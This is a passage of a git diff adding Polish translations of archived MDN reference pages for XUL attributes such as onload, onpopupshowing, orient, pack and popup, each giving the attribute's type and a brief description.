+&lt;textbox oninput="setLabel(this);"/&gt;
+</pre>
+<p>Jest on równoważny do zdarzenia <a href="pl/DOM/element.onkeypress">onkeypress</a> zastosowanym w dokumentach HTML.
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onload/index.html b/files/pl/mozilla/tech/xul/atrybut/onload/index.html
new file mode 100644
index 0000000000..c256bf3bee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onload/index.html
@@ -0,0 +1,23 @@
+---
+title: onload
+slug: Mozilla/Tech/XUL/Atrybut/onload
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onload
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onload">onload</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia będzie wywołany na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code>,</dd>
+</dl>
+<pre class="eval">w momencie zakończenia wczytywania obrazka. Dzieje się tak niezależnie od tego, czy obrazek został określony przez atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>, czy przez własność CSS <code>list-style-image</code>. Zdarzenie zostanie wywołane ponownie także przy zmianie obrazka na inny, w momencie jego wczytania. To zdarzenie nie będzie przechodziło w górę drzewa elementów w modelu bąbelkowym zdarzeń.
+</pre>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onnewtab/index.html b/files/pl/mozilla/tech/xul/atrybut/onnewtab/index.html
new file mode 100644
index 0000000000..81fb25b369
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onnewtab/index.html
@@ -0,0 +1,23 @@
+---
+title: onnewtab
+slug: Mozilla/Tech/XUL/Atrybut/onnewtab
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onnewtab
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onnewtab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onnewtab">onnewtab</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten skrypt będzie wywołany, kiedy nowy przycisk zostanie naciśnięty.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onpaneload/index.html b/files/pl/mozilla/tech/xul/atrybut/onpaneload/index.html
new file mode 100644
index 0000000000..bf0afc382c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onpaneload/index.html
@@ -0,0 +1,21 @@
+---
+title: onpaneload
+slug: Mozilla/Tech/XUL/Atrybut/onpaneload
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onpaneload
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onpaneload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpaneload">onpaneload</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Zdefiniowany tutaj kod jest wywołany kiedy okno będzie wczytane, bardzo podobnym zdarzeniem dla okna jest <code>load</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onpopuphidden/index.html b/files/pl/mozilla/tech/xul/atrybut/onpopuphidden/index.html
new file mode 100644
index 0000000000..92b7f4ed91
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onpopuphidden/index.html
@@ -0,0 +1,21 @@
+---
+title: onpopuphidden
+slug: Mozilla/Tech/XUL/Atrybut/onpopuphidden
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onpopuphidden
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onpopuphidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopuphidden">onpopuphidden</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do okienka popup po tym jak zostało ukryte.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onpopuphiding/index.html b/files/pl/mozilla/tech/xul/atrybut/onpopuphiding/index.html
new file mode 100644
index 0000000000..6fb8e2ce39
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onpopuphiding/index.html
@@ -0,0 +1,21 @@
+---
+title: onpopuphiding
+slug: Mozilla/Tech/XUL/Atrybut/onpopuphiding
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onpopuphiding
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onpopuphiding"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopuphiding">onpopuphiding</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do okienka popup, kiedy jest ono ukrywane.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onpopupshowing/index.html b/files/pl/mozilla/tech/xul/atrybut/onpopupshowing/index.html
new file mode 100644
index 0000000000..d55b71c94c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onpopupshowing/index.html
@@ -0,0 +1,21 @@
+---
+title: onpopupshowing
+slug: Mozilla/Tech/XUL/Atrybut/onpopupshowing
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onpopupshowing
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onpopupshowing"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopupshowing">onpopupshowing</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie wysyła do okienka popup tylko przed jego otwarciem. Uchwyt zazwyczaj jest stosowany do ustawień dynamicznych zawartości, kiedy użytkownik wnioskuje o jego wyświetlenie. Zwraca <code>false</code> z tego uchwytu zdarzenia zapobiegając okienko popup przed pojawieniem się.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onpopupshown/index.html b/files/pl/mozilla/tech/xul/atrybut/onpopupshown/index.html
new file mode 100644
index 0000000000..975ce06c50
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onpopupshown/index.html
@@ -0,0 +1,21 @@
+---
+title: onpopupshown
+slug: Mozilla/Tech/XUL/Atrybut/onpopupshown
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onpopupshown
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onpopupshown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopupshown">onpopupshown</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To jest zdarzenie wysyłane do okienka popup, po tym jak zostało otwarte, bardzo podobne do zdarzenia <code>onload</code> wysyłanego do okna, kiedy jest otwierane.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onsearchcomplete/index.html b/files/pl/mozilla/tech/xul/atrybut/onsearchcomplete/index.html
new file mode 100644
index 0000000000..4f821dcbbf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onsearchcomplete/index.html
@@ -0,0 +1,17 @@
+---
+title: onsearchcomplete
+slug: Mozilla/Tech/XUL/Atrybut/onsearchcomplete
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onsearchcomplete
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-onsearchcomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onsearchcomplete">onsearchcomplete</a></code>
+</dt><dd> Typ: <i>Kod skryptu</i>
+</dd><dd> Ten uchwyt zdarzenia jest wywołany, kiedy zakończone zostało automatyczne wyszukiwanie, a wyniki są dostępne.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onselect/index.html b/files/pl/mozilla/tech/xul/atrybut/onselect/index.html
new file mode 100644
index 0000000000..d18ddfd0cd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onselect/index.html
@@ -0,0 +1,10 @@
+---
+title: onselect
+slug: Mozilla/Tech/XUL/Atrybut/onselect
+translation_of: Archive/Mozilla/XUL/Attribute/onselect
+---
+<h3 id="Zobacz" name="Zobacz">Zobacz</h3>
+<ul>
+ <li><a href="pl/XUL/Atrybut/tabs.onselect">tabs.onselect</a></li>
+ <li><a href="pl/XUL/Atrybut/tree.onselect">tree.onselect</a></li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ontextcommand/index.html b/files/pl/mozilla/tech/xul/atrybut/ontextcommand/index.html
new file mode 100644
index 0000000000..ffbb257ba0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ontextcommand/index.html
@@ -0,0 +1,21 @@
+---
+title: ontextcommand
+slug: Mozilla/Tech/XUL/Atrybut/ontextcommand
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ontextcommand
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-ontextcommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextcommand">ontextcommand</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzeń jest wywołany kiedy wynik jest zaznaczony w polu tekstowym.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ontextentered/index.html b/files/pl/mozilla/tech/xul/atrybut/ontextentered/index.html
new file mode 100644
index 0000000000..7860d168be
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ontextentered/index.html
@@ -0,0 +1,21 @@
+---
+title: ontextentered
+slug: Mozilla/Tech/XUL/Atrybut/ontextentered
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ontextentered
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-ontextentered"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextentered">ontextentered</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywoływany, kiedy wynik jest zaznaczony dla pola tekstowego.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ontextreverted/index.html b/files/pl/mozilla/tech/xul/atrybut/ontextreverted/index.html
new file mode 100644
index 0000000000..bcb03d3339
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ontextreverted/index.html
@@ -0,0 +1,21 @@
+---
+title: ontextreverted
+slug: Mozilla/Tech/XUL/Atrybut/ontextreverted
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ontextreverted
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-ontextreverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextreverted">ontextreverted</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywołany, gdy użytkownik naciśnie Escape aby przywrócić pole tekstowe do jego oryginalnej niekompletnej wartości.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/open/index.html b/files/pl/mozilla/tech/xul/atrybut/open/index.html
new file mode 100644
index 0000000000..739f3a3509
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/open/index.html
@@ -0,0 +1,18 @@
+---
+title: open
+slug: Mozilla/Tech/XUL/Atrybut/open
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/open
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/orient/index.html b/files/pl/mozilla/tech/xul/atrybut/orient/index.html
new file mode 100644
index 0000000000..01210bb01a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/orient/index.html
@@ -0,0 +1,21 @@
+---
+title: orient
+slug: Mozilla/Tech/XUL/Atrybut/orient
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/orient
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Wykorzystywany do określenia, czy elementy potomne danego elementu zorientowane są poziomo czy pionowo. Domyślna wartość zależy od danego elementu. Można także skorzystać z własności stylu <code><a href="pl/CSS/-moz-box-orient">-moz-box-orient</a></code>.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Elementy potomne elementu są umieszczane jeden obok drugiego w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li><li> <code>vertical</code>: Elementy potomne elementu są umieszczane jeden pod drugim w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li></ul>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code><a href="pl/XUL/Atrybut/separator.orient">separator.orient</a></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/pack/index.html b/files/pl/mozilla/tech/xul/atrybut/pack/index.html
new file mode 100644
index 0000000000..425721c4b4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/pack/index.html
@@ -0,0 +1,26 @@
+---
+title: pack
+slug: Mozilla/Tech/XUL/Atrybut/pack
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/pack
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Atrybut pack określa gdzie elementy potomne <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> są umieszczone, kiedy pudełko jest większe niż rozmiar dziecka. Dla pudełek z orientacją poziomą jest użyty to sygnalizowania pozycji dziecka poziomo. Dla pudełek z orientacją pionową jest stosowany dla pozycji poziomej dziecka. Atrybut align jest stosowany do określenia pozycji w przeciwnych kierunkach. Możemy także określić wartość pack stosując własność stylu <a href="pl/CSS/-moz-box-pack">-moz-box-pack</a>.</dd>
+</dl>
+
+<ul>
+ <li><code>start</code>: Child elements are placed starting from the left or top edge of the box. If the box is larger than the total size of the children, the extra space is placed on the right or bottom side.</li>
+ <li><code>center</code>: Extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box.</li>
+ <li><code>end</code>: Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</li>
+</ul>
+
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+
+<p>Więcej informacji znajduje się w <a href="pl/Kurs_XUL/Pozycjonowanie_element%c3%b3w#Pola_upakowane">kursie XUL</a></p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/pageid/index.html b/files/pl/mozilla/tech/xul/atrybut/pageid/index.html
new file mode 100644
index 0000000000..74670ea481
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/pageid/index.html
@@ -0,0 +1,21 @@
+---
+title: pageid
+slug: Mozilla/Tech/XUL/Atrybut/pageid
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/pageid
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Atrybut powinien być ustawiony na łańcuch znaków, który identyfikuje identyfikator stron w kreatorze ( <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>). Stosowany z atrybutem <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>. Kreator zawsze zaczyna z <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>, który pojawia się pierwszy w kreatorze na liście potomnych.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/pageincrement/index.html b/files/pl/mozilla/tech/xul/atrybut/pageincrement/index.html
new file mode 100644
index 0000000000..b52bf37edf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/pageincrement/index.html
@@ -0,0 +1,15 @@
+---
+title: pageincrement
+slug: Mozilla/Tech/XUL/Atrybut/pageincrement
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/pageincrement
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-pageincrement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageincrement">pageincrement</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code> zmienionego, gdy powierzchnia paska przewijania jest kliknięta. Powierzchnia jest obszarem, w którym przytrzymany kursorem pasek przewijania jest przesuwany. Domyślną wartością jest 10.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/pagestep/index.html b/files/pl/mozilla/tech/xul/atrybut/pagestep/index.html
new file mode 100644
index 0000000000..084972a9f8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/pagestep/index.html
@@ -0,0 +1,21 @@
+---
+title: pagestep
+slug: Mozilla/Tech/XUL/Atrybut/pagestep
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/pagestep
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-pagestep"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pagestep">pagestep</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Indeks bieżącej strony.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/phase/index.html b/files/pl/mozilla/tech/xul/atrybut/phase/index.html
new file mode 100644
index 0000000000..3a6a2b3b02
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/phase/index.html
@@ -0,0 +1,16 @@
+---
+title: phase
+slug: Mozilla/Tech/XUL/Atrybut/phase
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/phase
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-phase"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/phase">phase</a></code></dt>
+ <dd>Typ:<em>ciąg znaków</em></dd>
+ <dd>Faza zdarzeń, w której wywoływana jest funkcja obsługi. Należy atrybut ten ustawić na wartość <code>capturing</code>, by określić, że ma to nastąpić w fazie przechwytywania, albo na <code>target</code>, aby określić to na elemencie docelowym, albo pominąć, by wywołanie funkcji obsługi nastąpiło w fazie bąbelkowania.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/pickertooltiptext/index.html b/files/pl/mozilla/tech/xul/atrybut/pickertooltiptext/index.html
new file mode 100644
index 0000000000..61cf015b57
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/pickertooltiptext/index.html
@@ -0,0 +1,17 @@
+---
+title: pickertooltiptext
+slug: Mozilla/Tech/XUL/Atrybut/pickertooltiptext
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/pickertooltiptext
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-pickertooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pickertooltiptext">pickertooltiptext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst podpowiedzi zebrany w kolumnie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/popup.left/index.html b/files/pl/mozilla/tech/xul/atrybut/popup.left/index.html
new file mode 100644
index 0000000000..90b615f75c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/popup.left/index.html
@@ -0,0 +1,21 @@
+---
+title: popup.left
+slug: Mozilla/Tech/XUL/Atrybut/popup.left
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/popup.left
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/popup.left">left</a></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Przesłania poziome położenie określonego okienka popup poprzez metodę <span id="m-showPopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPopup">showPopup</a></code></span>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/popup.top/index.html b/files/pl/mozilla/tech/xul/atrybut/popup.top/index.html
new file mode 100644
index 0000000000..a182f93edd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/popup.top/index.html
@@ -0,0 +1,21 @@
+---
+title: popup.top
+slug: Mozilla/Tech/XUL/Atrybut/popup.top
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/popup.top
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/popup.top">top</a></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Przesłania pionowe położenie okienka popup określone poprzez metodę <span id="m-showPopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPopup">showPopup</a></code></span>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/popup/index.html b/files/pl/mozilla/tech/xul/atrybut/popup/index.html
new file mode 100644
index 0000000000..5933ac6d40
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/popup/index.html
@@ -0,0 +1,26 @@
+---
+title: popup
+slug: Mozilla/Tech/XUL/Atrybut/popup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/popup
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu popup</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code>, który powinien się wyświetlić, gdy użytkownik kliknie w ten element.</dd>
+</dl>
+<div class="noinclude">
+ <h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+ <p>Więcej informacji o <a href="pl/Kurs_XUL/Wyskakuj%c4%85ce_menu">elemencie popup znajdziemy w kursie XUL</a></p>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/predicate/index.html b/files/pl/mozilla/tech/xul/atrybut/predicate/index.html
new file mode 100644
index 0000000000..f512761669
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/predicate/index.html
@@ -0,0 +1,15 @@
+---
+title: predicate
+slug: Mozilla/Tech/XUL/Atrybut/predicate
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/predicate
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-predicate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/predicate">predicate</a></code>
+</dt><dd> Predykat własności do dopasowania. Musi być to URI własności. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/preference.name/index.html b/files/pl/mozilla/tech/xul/atrybut/preference.name/index.html
new file mode 100644
index 0000000000..1865f2038d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/preference.name/index.html
@@ -0,0 +1,18 @@
+---
+title: preference.name
+slug: Mozilla/Tech/XUL/Atrybut/preference.name
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/preference.name
+---
